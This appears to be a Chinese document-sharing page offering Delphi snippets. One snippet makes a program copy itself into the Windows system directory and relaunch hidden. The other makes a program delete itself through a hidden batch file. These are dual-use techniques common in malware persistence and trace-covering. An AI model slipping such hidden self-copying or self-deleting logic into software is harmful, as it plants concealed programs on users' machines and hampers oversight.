常用代码(Delphi 自我复制自我删除)

2022-05-20 03:20:19   文档大全网     [ 字体: ] [ 阅读: ]

#文档大全网# 导语】以下是®文档大全网的小编为您整理的《常用代码(Delphi 自我复制自我删除)》,欢迎阅读!
自我,复制,删除,常用,代码
Delphi 自我复制源码

这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序. 打开Delphi,新建一个工程,在窗口的Create事件中写代码: procedure TForm1.FormCreate(Sender: TObject); var myname: string; begin

myname := ExtractFilename(Application.Exename); //获得文件名

if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\.. begin

copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{将自己拷贝到Windows\System\}

Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; end;

其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径. function GetWinDir: String; var

Buf: array[0..MAX_PATH] of char; begin

GetSystemDirectory(Buf, MAX_PATH); Result := Buf;

if Result[Length(Result)]<>'\' then Result := Result + '\'; end;

Delphi 程序自删除.

运行Delphi,新建一个工程,添加一个Button到窗体上,全部代码如下: unit Unit1; interface uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type

TForm1 = class(TForm) Button1: TButton;

procedure DeleteMe; //自定义程序自杀过程 procedure Button1Click(Sender: TObject); private

{ Private declarations } public


{ Public declarations } end; var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject); begin DeleteMe; end;

procedure TForm1.DeleteMe; //程序自杀

//-----------------------------------------------------------

function GetShortName(sLongName: string): string; //转换长文件名 var

sShortName: string;

nShortNameLen: integer; begin

SetLength(sShortName, MAX_PATH);

nShortNameLen := GetShortPathName(PChar(sLongName), PChar(sShortName), MAX_PATH - 1); if (0 = nShortNameLen) then begin

// handle errors... end;

SetLength(sShortName, nShortNameLen); Result := sShortName; end;

//------------------------------------------------- var

BatchFile: TextFile; BatchFileName: string;

ProcessInfo: TProcessInformation; StartUpInfo: TStartupInfo; begin

BatchFileName := ExtractFilePath(ParamStr(0)) + '$$Delme$$.bat'; AssignFile(BatchFile, BatchFileName); Rewrite(BatchFile);

Writeln(BatchFile, ':try');

Writeln(BatchFile, 'del "' + GetShortName(ParamStr(0)) + '"');

Writeln(BatchFile, 'if exist "' + GetShortName(ParamStr(0)) + '"' + ' goto try');


Writeln(BatchFile, 'del %0'); Writeln(BatchFile, 'cls'); Writeln(BatchFile, 'exit'); CloseFile(BatchFile);

FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);

StartUpInfo.dwFlags := STARTF_USESHOWWINDOW; StartUpInfo.wShowWindow := SW_Hide;

if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then begin

CloseHandle(ProcessInfo.hThread); CloseHandle(ProcessInfo.hProcess); end;

Application.Terminate; end; end.


本文来源:https://www.wddqxz.cn/64c7ca32a21614791611281c.html

相关推荐